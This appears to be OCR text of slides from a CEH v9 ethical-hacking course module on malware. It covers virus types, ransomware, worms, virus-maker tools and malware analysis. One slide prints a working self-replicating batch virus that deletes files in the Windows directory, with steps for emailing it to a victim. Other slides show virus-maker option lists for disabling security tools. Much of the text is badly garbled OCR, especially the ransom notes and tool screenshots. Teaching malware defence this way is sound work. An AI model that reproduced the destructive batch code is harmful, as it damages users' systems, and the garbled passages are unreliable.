Encryption Trojan encrypts
data files in victim's system
and renders information
unusable

“Your computer caught our
software while browsing
illegal porn pages, all your
documents, text files,
databases in the

folder

My Documents

was encrypted with
complex password.”

#EthicalHackx CEH v9
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fmln-l Eshical Macker

Attackers demand a ransom
or force victims to make
purchases from their

online drug stores in return
for the password to unlock
files

“Do not try to search

for a program that
. encrypred your

_information — it

—m @ Y St Ohnde simply does not
==l g i Emu, in your
Personal hard disk anymore,”
Inf tion £ Financial
o ¥a i pay us the money to

Important  Information
Files & Folders unlock the password
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IModule Flow

Introduction
to Malware

Malware
Detection

#EthicalHackx CEH v9

Trojan Virus and Worm
Concepts Concepts

B |

Bt

Counter- Anti-Malware
measures Software

EthicalHackx.com

Malware Reverse
Engineering

Penetration
Testing
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Introduction to Viruses

4 Avirus is a self-replicating program that produces its own copy by attaching
itself to another program, computer boot sector or document

d Viruses are generally transmitted through file downloads, infected disk/flash
drives and as email attachments

Virus Characteristics

Infects other program Alters data

Transforms itself Corrupts files and programs

Encrypts itself Self-replication
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Stages of Virus Life CEH

Coriifbed B Ethical Hachar

2 3

Replication Launch

Virus replicates for
a period of time

5

Elimination Incorporation Detection

Users install Anti ftware A virus is identified
[ as threat-'infeetin&_
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Working of Viruses: Infection
Phase

Infection '/ d In the infection phase, the virus replicates itself
Fhase J ; and attaches to an .exe file in the system

Before Infection After Infection

.EXE File .EXE File

[ ]

File Header File Header

5

> Start of Program — ' 1=sssesB Start of Program IHE

End of Program

End of P
nd of Program Virus Infected

File

Clean File ceeareensesVirus Jump e efeeeee
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Working of Viruses: Attack
Phase

Viruses are programmed with trigger events to activate and corrupt systems

Some viruses infect each time they are run and others infect only when a
certain predefined condition is met such as a user’s specific task , a day, time,
or a particular event

Unfragmented File Before Attack
File: A File: B
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Why Do People Create Computer C E H
Viruses 7 e

% Inflict damage & ¥V Financial
to competitors benefits

—o—J - 0 |

Research %7

projects Play prank ¥’ Vandalism

Cyber e 1 Distribute
terrorism . i political messages
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Indications of Virus Attack C/[EH

Processes take
more resources
and time

Computer slows
down when
programs start

Computer freezes
frequently or
encounters error

#EthicalHackx CEH v9

Computer
beeps with
no display

Filez and
folders are
missing

Unable to
Drive label load
changes Operating

system

Anti-virus
alerts

Hard drive Browser
is accessed window
often "freezes"

Coriifbed B Ethical Hachar

Abnormal Activities

If the system acts in an
unprecedented manner, you
can suspect a virus attack

-

False Positives

However, not all glitches can
be attributed to virus attacks
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C|EH

How does a Computer Get

Infected by Viruses sl i

When a user accepts files and downloads without checking
properly for the source

Opening infected e-mail attachments

Installing pirated software

Not updating and not installing new versions of plug-ins

Not running the latest anti-virus application

Copyright © by EG-Eamneil. All Rights Reserved. Reproduction is Strictly Prohibited.

#EthicalHackx CEH v9 www.ethicalhackx.com EthicalHackx.com




#EthicalHackx CEH v9

Virus Hoaxes and Fake
Antiviruses

25 are false alarms claiming reports
ut a non-existing virus which may
ain virus attachments

Warning messages propagating that a
in email message should not be
ed and doing so will damage one’s

www.ethicalhackx.com

't L 3
| Fariest Forwand this warning amang friends, family, sngconacrs

PLEASE FOSRWIASTD THEs IWARRING AMONG FREERDS, FANILY AND CONTACTS) You should be alert during
Thap e oy dars Do redd Opsen Ay Mk with an sttachmant eotithed "POSTCARD FROM BEHNG or
"REHGNATION OF BARACK QBAM A regardiess of wwhos sent it oo youw 11 b s vious thag cpenas i
POSTEARD IMAGE, then Burm’ the whoks hisrd C diic of your computer
|

This Is tFe worst vines annoonced by CHM L8 ovening 1t has been clamailied by MBcrosoft a5 tho most |
Searutive wina Bver, Thvirus wad discteensd by MEARes penenday, snd Ehans i ra sepair yer o :'u.l

| [ind of v |

s winussimply deiroys the Zero Secios of the Madd Dk, wisprg the vital infarmation b kept

COPY THIS E-MAIL, ANDSERD [T TD YOUR FRERDS REMEMEE R IF YOUSEND IT TD THENL ¥OLIWILL

BIsLEIT ALL OF LS

End.of-mail

Thaitks
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Once installed these fake antiviruses
can damage target systems similar to
other malwares

] Ty

T b B T (i 30w TR B
T amieponr WL bmplac T e Qe e =
e A Torer Prarimin thm w 1p
I R

T i

T e i

T3 g

W e £

i

T wir il g B e perne i L 4 L

T Dar b e T e
a17 Pt [ A ——
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Ransomware

Your fas are encrypted
T et the loey i decrypt fles yau hiree o pay 5500 USCUELUR B payorent 1 rol made belors 3206784 - 01:83 the cost of
dhecrypling M s wil g noass T Benes and will B 1050 UEDELUR

Ransomware is a type of a malware
118h 5Tm 183

which restricts access to the TR e e ARt A

computer system’s files and folders _ [remmee Jeec cecome s e e et

W s rannnd 3 Epacial ssbwaes - Crypl ol Chscmpene - wherh i o (s decryd e st conernd to ol par encryped Sas

and demands an online ransom e P
payment to the malware creator(s)
in order to remove the restrictions

" L -
ybitcoin
1 ou sbhoald rogisie) Bitcen et {Cick hers oy mps ielors asoe s Echerp

T Pitchasisg Beirodm - Alfosgh M sol yol eey 1o bey bioclm, 55 peiing s e seery dey.
Mary 2re DOT neCoTTIenfa o
+ Colnm - Recommasdesd tor e, gimpls service, Takes Crodin Canl, Deba Cass, 50N, Win
TR pr - Savece ibows pre b vmach e praple o youe comrmndy wilieg b sel b i e deecth
Arpthar gl way 1 By -1
i - By Bebtens ety b Cilh
- A0 eematans dosciary of doom sochangen
B En kF A
¥ - Combin slkrers dhiwcd Sicon purchaies o (P il g

Ransomware Family

0 - Dpl ob 3 ek CNEN TR A] TR ] SRR B 50 iy Tl D ey

B Seadl 000 OTC o Bcols afdieda; Ve iommaoel A00GreBl HESMOE RGGILTRE Dot GR conl

L T dive Timmna cdime 1 sl werbes mursni

Cryptorbit Ransomware s

L
Hela: Triwis aien G - row s Pried o Swiiied oo GEculBarddalion v el
it BAT e tall TS S 2 Frd 300 | Bl TOATE TR e 2 e a B | Hecdd 1T

CryptoLocker Ransomware . N —

CryptoDefense Ransomware 2N

CryptoWall Ransomware N " our sem s

reraber or basaachn O

Police-themed Ransomware

0 e es de pead, Mt Rl a0l of B USINELUR. Ths rersiches &5 500 USDVEUR

CryptoWall Ransomware
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Ransomware

(Cont’d)

YOUR PERSONAL FILES ARE ENCRYPTED

Al Fida s including widecs, photos and doouments, st on your
complber are encrypled,

Encryphion ws produced using & unique publhc key generated
For this computer. To decrypl Hes, you nesd ba obtan he
private key

The single copy of the private key, which wil alow you L decrypt g Manaitant U1.5.4. Cyber Security %

the Fikess, located ona secret server on the Internat; the server 1 FBL. Department of Defense

will destroy the key after a time specilied in bhis R U.5.4, Cyber Crime Center 4

whindbow. After that, nobody and never will be able to restore Ramainiag vima; 475047

i3 OIEEE & roneGro
* il MO ]

In order to decrypk the fles, apen site

4sfuctgpSdimbvzk.oninntoindescphp and Folow the

instructiones.

[F 4sFectgpSTimivzk.onion.to & not operang, please folow the
steps below!

1. 'woia reiest howrdioad s inestadl Ehis beowser

http://wens. torproject.org /projects terbrowser. hbmlen
£ After nztalgtion, run the browser and enter the address; ATTENTIERI
Il-![ﬂthpszhﬂ"l'l':MthH.php o comeutet hia bean Bocked wp for sefety reas
3. Follows the nstruckions on the welb-sibe. We remind you that 3 al Vit
the: sconer you da, the more chanoes ane left bo recover the files,

. 1 Uil St
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Ransomware

(Cont’d)

FBI

DIVISION

WA INTERNET SURVEILANCE PROGRAM

SM

COMPUTER (FIME PROSECUTION SECTION

MoecTyn 8 MHTEpEET TAEROCHDoRDH B CHATM © HEDYUISHWEL f : ‘ YUUR CDMPUTER HAS BEEN LUCKEDT .

AMUESHIHAHHGIE £olNANAHKA NPGrp Ml UFast Download Managar

our computer had been locked due Lo wuaichss of illagal comant downiaading and dijtribution,

Bad HetbrofdMe SETHENHOBATY BRI KoM MG

! . —

-
04 . 2 7 - L gad buske o i s i s 08 e clasatied we Bt ntar el g
- . sr wor F i of rhiiren [Proatacrioe: af - i Thur =y b S ket praeo.siee
i e Pour sl w il b s ki dssf s sthoally

1 G i railes e BRUMTION in b sbarri iaaLigiad way

STolnl (0 My T PerHCTRALAGH IFkif K0T OTIPENLTE CMC
el Uil pry 8 B § 300

o eomon P 004158 va momep 7122 - i iy 2 8ald pTioprpsy
B OTHET B! NANYHTE CoaBUEeHNe © K00ou AKTHE LN T s i i RN 6- !
Baw von w oroetion cve [ T
Crchargs your cuh for 5 Soray® s reucher aod we

Collscted technical dats FE weascher o b e form barlons

(TN 3
VRTHTNT] AV G W A i Bacec Iy bt i Coda |
Pl oy
win Wl §P [0 R
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Types of Viruses CEH

Cortified B Ethical Hschar

System or Stealth Virus/ ) . :
Boot Sector Tunneling Encryption Fohymorohic stamarphie

Viruses Viriis Virus Virus Virus

Overwriting
File or Cavity
Virus

File

File Extension
Viruses

Virus

e Direct Action Terminate and
UU:PE e : or Transient Stay Resident
irus ) Virus Virus (TSR)

What Do They Infect?
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System orx Boot Sector Viruses

J Boot sector virus moves MBR to another location on the hard disk and
copies itself to the original location of MBR

J When system boots, virus code is executed first and then control is passed

: to original MBR
66 | A6

ve Before Infection v @

LA After Infection

<«—Virus Code——>
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File and Multipartite Viruses | C|EH

Cowilfied § Exhiesl Hozher

File Viruses - — Multipartite Virus

4  File viruses infect files which are ' - - J  Multipartite viruses infect the system
executed or interpreted in the system boot sector and the executable files
such as COM, EXE, 5YS, OVL, OBJ, PRG, ' at the same time
MMNU and BAT files

File viruses can be either direct-action
(non-resident) or memory-resident
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IVIacro Viruses

Most macro viruses are written using macro language Visual Basic for
Applications (VBA)

Macro viruses infect templates or convert infected documents into template
files, while maintaining their appearance of ordinary document files

Infects Macro Enabled Documents

Attacker
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Cluster Viruses

#EthicalHackx CEH v9

Cluster viruses modify directory table entries so that it points users
or system processes to the virus code instead of the actual program

There is only one copy of the virus on the disk infecting all the
programs in the computer system

It will launch itself first when any program on the computer system
is started and then the control is passed to actual program
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Stealth/Tunneling Viruses

These viruses evade the anti-virus software by intercepting its requests to
the operating system

A virus can hide itself by intercepting the anti-virus software’s request to read
the file and passing the request to the virus, instead of the OS

The virus can then return an uninfected version of the file to the anti-virus
software, so that it appears as if the file is "clean”

Give me the system
Anti-virus Software

file tcpip.sys to scan . Hides Infected TCPIP.SYS a L
EEEEsEEsEESEESsSEEssessesEnEE FESESSREESSEEINSEREannnnannnnnnniannaale Iy
. ol
4

SEEEEEEEEEEEEEEEEEEEs o LA L Ll L L L L
Here you go "., ,|'
Original TCPIP.SYS
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Encryption Viruses

: of virus uses simple
on to encipher the

The virus is encrypted with
a different key for each
infected file

Encryption key 1
Encryptionkey3 .

AV scanner cannot directly
types of viruses
dmfﬂ" Encryption Encryption Encryption

Virus 1 Virus 2 Virus 3
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Polymorphic Code

J  Polymorphic code is a code that mutates while keeping the original
algorithm intact

J To enable polymorphic code, the virus has to have a polymorphic
engine (also called mutating engine or mutation engine

J A well-written polymorphic virus therefore has no parts that stay
the same on each infection

e S—
Routine [NDR)

f Encrypted Virus - DR . EME : E. b’ New Encrypted
E H , ! L Illllllllllell‘. M _ [nﬂ'm‘m[ :

routine decrypts

virus code and e ; —
mutatinnel'l-gine Virus Code | BEEEEEEEEEE lilllllllll} - i | :
: Virus encrypts itself : :

with new key

New Polymorphic
Virus Does the Damage Virus

User Runs an Infected Program
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Metamorphic Viruses

Metamorphic Viruses Metamorphic Code

Metamorphic code can
reprogram itself by
translating its own code into
a temporary representation
and then back to the normal
code again

For example, W32/Simile
consisted of over 14000
lines of assembly code,
90% of it is part of the
metamorphic engine

Metamorphic viruses
rewrite themselves
completely each time they
are to infect new
executable

"k <l
Variant 1 Variant 2 Variant 3

_ «<+==-> Metamorphic Engine This diagram depicts metamorphic malware variants with
recorded code
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File Overwriting or Cavity Viruses (|EH

Coriifbed B Ethical Hachar

Cavity Virus overwrites a part of the host file that is with a constant (usually nulls),
without increasing the length of the file and preserving its functionality

Content in the file before infection Content in the file after infection

Sales and marketing management is the Null Null Null Null Null

leading authority for executives in the sales Null Null Null Null Null
Null Null Null Null Null

and marketing management industries. 11 Full Wall Noll Null
The suspect, Desmond Turner, surrendered Null Null Null Null Null

to authorities at a downtown Indianapolis Null Null Null Null Null
fast-food restaurant Null Null Null Null

EE NN AN NN NSRS SRS NSRS IIllIi!-Il-l}

PDF PDF

Original File Infected File
Size: 45 KB Size: 45 KB
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Sparse Infector Viruses

By infecting less often, such viruses try to minimize - Difficult
the probability of being discovered . to Detect

Wake up on 15' of
every month and execute code

{b'lil"l.li-Iil‘liil.b'lil"li.li-ilil‘I.&I.ﬁ'l‘.l'l..‘
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Companion/Camouflage Viruses

A Companion virus creates a companion file for each executable
file the virus infects

Therefore, a companion virus may save itself as notepad.com and
every time a user executes notepad.exe (good program), the
computer will load notepad.com (virus) and infect the system

Virus infects the system with
a file notepad.com and saves
it in c\winnt\system32 directory

EE 3

Attacker Motepad.exe

Copyright © by EG-Eamneil. All Rights Reserved. Reproduction is Strictly Prohibited.

#EthicalHackx CEH v9 www.ethicalhackx.com EthicalHackx.com




#EthicalHackx CEH v9 www.ethicalhackx.com EthicalHackx.com

Shell Viruses CEH

Coriifbed B Ethical Hachar

. around the target host program’s code

- all boot program viruses are shell viruses

Before Infection

<« —_—

After Infection

FLL TR R LR TN RN RN

o Wirus Code = —
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File Extension Viruses

File extension viruses change the extensions of
files General | View | Search

Falder views

You can apply this view (such as Delails or lcons) to
all folders of this type.

TXT is safe as it indicates a pure text file oo

Z i i Advanced settings:
With extensions turned off, if someone sends you a T
i Y [ ] Atways show menus-OFF

file named BAD.TXT.VBS, you will only see BAD.TXT [#] Display file icon on thumbnais ON

[#] Display file size information in folder tips ON

[] Display the full path in the title bar-OFF

. Hidden files and folders

If you have forgotten that extensions are turned @ Dont show hidden fles, folders, or ciives ON

off, you might think this is a text file and open it (0) Show hidden files, folders, and drves-OFF
(o] Hide emoby divesO8

[ Hde extensions for known e types OFF |
e : = - i [«f] Hide Talder menge conthcts-UN
This is an executable Visual Basic Script virus 9] Hicke sohictod tpanivng syatses Sles: (RoconmendsdhOr 2

file and could do serious damage

Countermeasure is to turn off “Hide file
extensions” in Windows

Copyright © by EG-Counell. All Rights Reserved, Reproduction is Strictly Prohibited,

#EthicalHackx CEH v9 www.ethicalhackx.com EthicalHackx.com




#EthicalHackx CEH v9 www.ethicalhackx.com EthicalHackx.com

Add-on and Intrusive Viruses

Add-on . Add-on viruses append their code to the host code without making any changes
Viruses to the latter or relocate the host code to insert their own code at the beginning

SEEEEEEEEEENEEENENE

Intrusive viruses overwrite the host code partly or completely with the L Intrusive
viralcode ¥ Viruses
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Transient and Terminate and
Stay Resident Viruses

Basic Infection Techniques

J Transfers all the controls of the host code 4 Remains permanently in the memory
to where it resides in the memory during the entire work session even
after the target host’s program is
executed and terminated; can be
removed only by rebooting the system

- The virus runs when the host code is run
and terminates itself or exits memory as
soon as the host code execution ends

Copyright © by EG-Eamneil. All Rights Reserved. Reproduction is Strictly Prohibited.

#EthicalHackx CEH v9 www.ethicalhackx.com EthicalHackx.com




#EthicalHackx CEH v9 www.ethicalhackx.com EthicalHackx.com

Writing a Simple Virus Program C|EH

Cortified B Ethical Hschar

Send the Game.com file as an
email attachment to a victim

Create a batch file Game.bat

R ] 4 PERR AR R

@ echo off -
for %%f in (*.bat) do
copy %%f + Game.bat
del c:\Windows\*_*

X e

(AR R E RS R R RS S N l
—

l'iii“-#‘-#-
*iii’llil'l

When run, it copies itself to all
the .bat files in the current
directory and deletes all the files
in the Windows directory

Convert the Game.bat batch
file to Game.com using
bat2com utility
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Sam’s Virus Generator and
JPS Virus Maker

@ ©

Sam’s Virus Generator

; abda Media Paker
Ram's Vs Generator w202 [ Diisable Intemel E sploies el Tasks n Taskmgr
|-'_] Ciabda Tene D Hede Bun

M @ Dis.blers m e i D ':I‘E‘.IHE E:q;rtu-‘ [a:‘-..j“

r Fanny Bembers

C Dirve Cverlnader ?ﬂ:\'l :p Flrmbhar

L] "r.nti!l r-ﬁ!'l M
Your Virus Bty Cia b

[ Tesminats Windcw:

[ Hade Ciirsor

mi u...:tl- Scresn Saver [ Ao Startup

) Restast O Lo O Tum OF ) Hivnale

drass Call ATl 'bat To 3 :
Ovpen Ue Viras Mame After Instal: |Rundi32
Infect All Drrives
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Andreinick05's Batch Virus Maker
and DeadLine’s Virus Maker

EthicalHackx.com

CEH

ﬂmuaaaamm Maker v 4

,M Infe-::lms Duietlng & Other Suff | m [ m [ Mﬂl

| Dissble Kevboard | | Disabie Mouse | | Disable intemet

| SwapMouse Bin | | ifect RARfles | | Infect BATHies

| infect"is”CMD | | lnfect All Folders | | Infect Autoexec

Run Az Service

sndreinick05's Batch Vs Maker viid

[x]

| Buid | Infectons. Deleting & Other Suff | Options | Securty | Spam Ki|

J
|
|
|
|
|

Startup setftings
Show messagebox on startup

Add to startup

Other oplions
CloseWindows Live Messenger
Close Skype
Close Yahoo Messenger
Random things will happen
Disable mouse
Force shutdown
Force restart
Crazy cddrive
Kill every process
Disable calculator
Disable meconfig
Disable \Windows Media Player

fmll-.l Eshical Macker

Options
Infinite beeping
Infinite messageboxes
Disconnect from the internet
Visit random url et random time
Disable firewall
Disable FireFax
Disable Chrome
Disable Internet Explorer
Open random files
Disable taskmanager
Disable CMD
Dizable regadit
Disable explorer
Random mouse movement
Random keyboard keys pressed
Slow computer
Delete cliphoard text
Disable notepad

Andreinick05's Batch Virus Maker DeadlLine’s Virus Maker

__.-éﬁpwigh[ © by EC-Councll. All Rig hrslli_.ﬁ‘é?w.'ré&.':ﬁ gproduction is Strictly Prn!:ri;:al'ted
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Sonic Bat - Batch File Virus
Creator and Poison Virus Maker

Sonic Bat - Batch File
Virus Creator

Eamf-

‘M r"h Fnu Ve

Changs Log Cn Masswor
The Bffect is Mot Permenart, T —
|| ———
I [ ____._-—-—

Hapm Wactim B
] o] 2=
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Computer Worms

Computer worms are malicious prugmﬁtl’l |
execute, and spread across the network
independently without human interacti

orms are created only to replicate and
s a network, consuming available computing
Ver, some worms carry a payload to

yst system

Attackers use worm payload to install E
infected computers, which turns them
and creates botnet; these botnets can b
carry further cyber attacks

Copyright © by EG-Eamneil. All Rights Reserved. Reproduction is Strictly Prohibited.

#EthicalHackx CEH v9 www.ethicalhackx.com EthicalHackx.com




#EthicalHackx CEH v9

#EthicalHackx CEH v9

Replicates on its own

A worm is a special
type of malware that
can replicate itself
and use memory, but
cannot attach itself to
other programs

www.ethicalhackx.com

Spreads through the
Infected Network |

EthicalHackx.com

A worm takes
advantage of file or
information transport
features on computer
systems and spreads
through the infected
network automatically
but a virus does not
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Computer Worms: Ghost Eye Worm m

Ghost Eye worm is a hacking program that spreads random messages on Facebook or steam or
chat websites to get the password

Ghost Eye - Worm - Codded By Hisoka Ismael

Status I‘:-m*m@:ed Ghost Eye Official Facebook :

Welcome Guest | “'\k- Ghost Eye Official Website For Updates

Downloader/Stub | Path Tools | Spreaders | Buid | Fake Emor Message | Assembly Changer | About

Worm Downdoader

Direct Download Link

B Change leon
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Worm Maker: Internet Worm
Maker Thing

www.ethicalhackx.com

EthicalHackx.com

-

-

[ Irachede [C] MoBos
Chssput Path:
fen

[ Compds T EXE Supgert

Spreading Options
Starfun:
[T Global Registry Starup
[T Lo Regsiy Starp
|~ wiriogon el Hook
[ Starkfs Senasoe
[T Enghh Startup
[ German Skarfup
[T Sparish Skartup
[ French Startum
[ T Startug

Intermet Worm Maker Thing - Version 4.00 :- Public Edition

Aertivabe Pargloads On Date

Dasy:
I B
R

I Bandomly Activale Payicsds
Charwe of activating paykoads:
1N OHANCE

I Hde Al Deives

™ Disable Task HManager

[T Duabls Kaybord

[~ Desable Mouse

[T Eesssgs Box

Tiges

Meszage;

Cxsable Windows Security
Cisable Morion Securty
Urinsiall Morion Sopt Boddng
Disabee Maaro Seaurity
Demabie P Commng
Cisabie Shiadomn
Disable Logodf
Deable Windows Uodase
%o Search Commanid
Swrap Moums Buthors
Open Webpage

LFL:

Fuie Speskers
I~ Change IE Titke Bar
Text:

I Delete aFie
Pagh:

g

Thange Tin Madia layer Tl
Texd:

Dt s Frodder

I Open Cd Drives
~ Lodk Warks tation
I Dowmnbsad Fils MCI'E:']

0 -

Save Ao

I~ Execute Dovwnloaded

~ Hide Deskiop

Cipabig Makvara
Semone

Otsaile Windowes
i Frulo bk

" Cornupt Bnbvires

Chiaviya Cormgulie
Faame

[T Changa Deive Feon
DLL, EYE, 100 Index:
T T
[ Add To Cortext Meny
™ Change Clock Text
Timsck el 8 Chiars):

I s 0

[T Kevboard Disco

[~ Add Tn Faurdthes

r~ Explait Windows F

ihmin Lokt L
[T Bue Screen OF Death
[rfecion OpSons;
[T Infect st Fies
[T Infect Vi Files
[ Infect Vb= Files
Ewiras:
[T Hde Veus Files
Plrigns

M Cusiom Code

1F Yiges Lkt This Pragras Pladse
visit Me Ory

Pt hanuateam, falerre Ttk oo
1F Yo Knew Anrpthing About VES
Frogiameing Heip Suppor This
Project By Making A Phugn {Sez
Seadme], Thanks

Contned Pansl

T e Fpmn
i i

Abdiut Me |
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. What is Sheep Dip Computer?

w Sheep dipping refers to the analysis of suspect files, incoming messages, etc. for malware

w A sheep dip computer is installed with port monitors, file monitors, network monitors and
antivirus software and connects to a network only under strictly controlled conditions

Run device driver
and file monitors

Run user, group permission
and process monitors

Run registry
and kernel monitors

Run port and
network monitors
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Anti-Virus Sensor Systems

® Anti-virus sensor system is a collection of computer software that detects and analyzes
malicious code threats such as viruses, worms, and Trojans. They are used along with
sheep dip computers

Anti-Virus System

System 2 Anti-Virus

S LTI TR PL TP

Allowed i —=
Traffic ; 7 :L‘h
il innrien s n i s :l @'j

Anti-Trojan Anti-Spamware ?
“¥ Traffic

Internet

(8 \_s

Anti-Phishing Email-Scanner
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Malware Analysis Procedure: ¢ EH
Preparing Testbed o

Ethical Machar

EthicalHackx.com

Isolate the system from the Disable the ‘shared
network by ensuring that the folders’, and the Copy the malware
NIC card is in “host only” mode  ‘guest isolation’ over to the guest 0OS
L ] L ]
= ]
1

- : __\H‘- |

1
[]
1

]

Install guest OS into Install Virtual machine (VMware,
the Virtual machine Hyper-V, etc.) on the system

Copyright © by EG-Eamneil. All Rights Reserved. Reproduction is Strictly Prohibited.
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. Malware Analysis Procedure| C/EH

Ethical Hashar

Perform static analysis when the malware is inactive
Collect information about:

@ String values found in the binary with the help of string extracting tools such as BinText

@ The packaging and compressing technique used with the help of compression and
decomnressinn tonls such as LIPX

| Help |

File Loy sean ! Vwmckowes\ S yshen el G e g ol mas Britmas | (7] |

Torees bakesn: (UO0MD eecs  Tand suie T4 bpbes (D7)
I _T_|'_¢_._“|____ i & 3 1 & ¥ ] [-guEKk]) [0 Filel file

A OO 00001 000040

L IThiz: progeam camnol be nn r\-E':'.En-'.l'le

b 15T

b FAD AN B FADDIMGPADDENG-PAD DINGFY

| COOOCNOCRSED) e iy D i dGR

:U OO00REFT 00O IF? | Wiendovt: nahaliel

U DODODODOEF1S OO ONED13 [ Wirsdows
L
i
[k
i
i
i

| 4 000000C001B0  DOC0ICOOMED
A (0000001 TEAC D000 ONECAL

L DODODODN 7ADE  OO00) DN Es=DE L WE_VERSIOMN_INFO
L OOODO0T TR 000 Don &k
L ODCOOCC TRSE 000 0N E35E
| DODOOOCT TREE D000 DONEEE
L LRI Vi R i
Lf CODODD0TTAEA  DOD0T 00 SR
LF DODDDOTATEEC  DOOM O0E2EL
LI DODOOOIITCIE  DOOMOMSA3E

| StringFilelrio
0 DanagEsn
¥

Cioanparhlan

Micromolt Loposabon

Fielescnphion

Instalies Itnationsl Message:

FigJersion w
! ype "upx —help’ for more detailed help.

zpicious Filag

CORpress

Ford Lo | ¥ comes with ABSOLUTELY HO WARRAMTIY: for details wvisit hetp: s u

http:/fwww.mcafee.com http.//upx.sourceforge.net
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Malware Analysis Procedure
(Cont’d)

3. Set up network connection and check that it is not giving any errors :
4. Run the virus and monitor the process actions and system information with the l( JH[ 35]

help of process monitoring tools such as Process Monitor and Process Explorer

Process Monitor

File Edit Event Filter Tools Options Help
on = 5 i .
eH ARE  TAS® | B A8 HBALIME
Time of Day Process Name PID Opesation Path Resul

3:48:10.3413976 PM jiSearchindexer.. 3080 BhFieSystemContol  C SUCCESS  Control: FSCTL_R
3:48:10.3414358 PM . Searchindexer. . 3080 ShReadFie C\Windows'\System32\mssech di SUCCESS  Offset: 1,086 464,

348:10.3414708 PM § [lsnagitediorexe 4004 ShMotfyChangeDirectory C\ SUCCESS  Fiter FILE_NOTIF
3:48:10.3502152 PM . Searchindexer . 3080 S\ ReadFie C\Windows' System 32\masrch di SUCCESS  Offset: 1086464

3:48:10.3508007 PM i Searchindexer.... 3080 BhFieSystemContol  C SUCCESS  Control: FSCTL_R.
3:48:10.6210848 PM & chrome exe 1132 S WrteTile C:\Users\PGE\Aop Data'\Local\Google . SUCCESS  Offsat: 5,013,248,

348106211414 PM @ chrome.exe 1132 ShWrteFile C\Users\PGE\AppDiata'local\Google SUCCESS  Offset: 276,284, Le
348106211629 PM & chrome.exe 1132 ShReadFile C:\WUsers\PGE\AppData'Local\Google. . SUCCESS  Offset: 276,248, Le
3:48:10.6212526 PM &) chrome exe 1132 A WrteFie C:\Users\PGE\AppData'Local\Google.. SUCCESS  Offset: 276,248, Le
3:48:10.6212777 PM & chrome exe 1132 S WriteFie Ch\Ugers"\PGEAppData'Local\Google... SUCCESS Offeat: 276 284, La
3:48:10.6360691 PM (& chrome exe 1132 44 TCP Send prashant 6297 > 12317632 19Mtps  SUCCESS  Length: 1068, start
3:48:10.6360329 PM & chrome axe 1132 &h TCP TCPCopy prashant 6297 -> 123.176.32.19Htps  SUCCESS Lengh: 366, seqn... ¥
€ >

Showing 736,350 of 2,053,299 events (36%) Backed by virtual memory

http://technet.microsaft.com
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Malware Analysis Procedure
(Cont’d)

NetResident

Record network . _
Lo ¥ File Search View Events Toels Help
traffic information All Date
using the Events
connectivity and log | 2 Goves ! Reesh | 57 fne- | 2 st -] ] save- 32 Oetete | (2 vt et

Groups Count | Date = Last Updeted Protocol  Party &

packet content = [T Dates 1 13672014 51654 ™ Wie :
: : [ F 2ara0n4 42| 4 NI RN 2282004 52050, [123.178.32.1...
monitoring tools ¢ [F]e} Protocols 1 o 2000 S 2¥2R/3004 52140 ol GEaT [hgein-Fi03.
: £ [ Pty A 1 & ZEINEEI. 2628/2014 52148, s : [hgein-FI03.
such as NetResident & [ 5 Party B s E/ANAEN.. L2B20M4532159. — : [rnaalidz16-i. .
: s NN T A4 SING. " B850 [maadlslE-i..
and TCPView s ANEAMER. USSR - T
LA R2E.  2F2R2004 Bi22:R0... . 569 [raalidsg-i...
. f A AN 22 JFRER20M4 S22 ] [123.976.32.1..
Determine the files o NN TRI.  2620/2004 %2218, " [123.476.32.0...
IA0NA B, BFEI0 SIE. i@ W - 8806 [maabisib-l..

added, processes . ARIMEST. WEINASIIN.. g Web s [miae03816-i..

. AN kR JFERNG 52220, k et & (123076320,
Spav"r I'-"Ed.' and  LAIRFANA 5AR.. AFERA0NA 52234 - [123.076.32.0...

a MR N22.,. HILNIE BRI el L] [823-37-208-...
Cha HEES tD the HZARNG 220 MRATN0N4 RIEE. " [a23-57=206-...

1 i VIANASA., IR . [a23-57-206-...
FEEIStrv Wlth thE TR0 R, LRANN4 R, b [#23-57-206-...
I"IEII;] Gf regls‘tr‘q'r e o T LR el Ta axl Lot e ok Wi e A T WA
monitoring tools Event Detail

such as RegShot

EEEEEEE EEEEEER

& -

vi g

G‘. Connected

http:/Swww.tomos.com
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Malware Analysis Procedure
(Cont’d)

Collect the following information using debugging tools such as
OllyDbg and ProcDump:

-

¢ Service requests and DNS tables information

07 ¢ Attempts for incoming and outgoing connections

Bedx] o] vY B A <) ulisxw]n] el /8] Rlls] )

CPU - main thread, module nid!|

K Bern LESFS0TLA 1
TE 2

viy (ERFEA BUCCEEE | Ny

-~

GR402CE] | 2ennap. Chade leEny rePoint?
e e |
MR |

o

I%ﬁhm everd ol rlel 7751DED - ve ShillF 7/FB/FS 10 pans sxception lo progeai [Paued

http/fwww. ollydbg.de
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Malware Analysis Tool: IDAPro (C|EH

Cortified B Ethical Hschar

Search View Debugger Optionis Windows Hep

Pl 0 |-'-'. L) Tem w

BEN:— || BT

I8 HewViewd | 3 Evports | B Impodts | M Hanes it Funchors | - Stngs | [ Stmuctwes | En Erums

H

A, Ltext:BB4O1630 BE OR c2 M e EC 83 Cu 1 3 M Disdr s a7
- JeatzBRLBT6LE 57 15 DA B8 B0 &6 E7 WHF§ - . F JES LG
¢ bt s BRLA1ASE KE BE BF EB 94 B0 D6 - AW TIFE . FIESY. L _GeEwcephilni

iy a4 500 SEEELE y Ly 4L BA BD 45 e E8 L el AET el £ 1
Y suby_4CN 50C toxt: 3 10 00 £R A4 LE 00 BB 0 ] L D __geiHinstance

subs_407 530 ClexkzBahi 1R D Fiy 45 FR BA B2 06 DA i Pl X L Sysint_irkpinc_ GefTla|woid]
| sub_ 40150 CJddextzpBoaen ca ME B0 BE 01 BE 0D L. ig0 F Wian
CEAli, texk: DBk ) WG 00 ER G0 BO D6 00 A1 C [ 8 £ I
g cbenkzBALB1GED BC 4E BB BB 15 2§ SR 2N TES[M.FH]L
e JtextzD 16010 ca ME BO BE OO BE 0D fedH. X X ooH.XEF ina & of 1346
’:—ﬁ;gf text z BREATEDD ME OO EW 30 BO B6 @0 A1 C ".H.III:..:I'J"-H.T'I'.'.I'
su_4d1 Lboxk BB TAE B Ll 4E DO BE 1% B4 SE &E -®M. T§EM.F TILC. Y - : : =
| sutn_ 408 Lbext BB 16F D ca ME BO BE DB ER BC E fe2M 1. FI3i.FJES Strings window Sl
" sub_A0TACS Jreut s aahay o g,_"l': ‘I!I% gg E; f‘; EM'!: #I’ﬁ l'-‘d ;l:.‘;'“;_:l:_:EUHFE Addears Lengih
suby_ 40 (D Lddextziahairio . P FlES:. Fit. e,

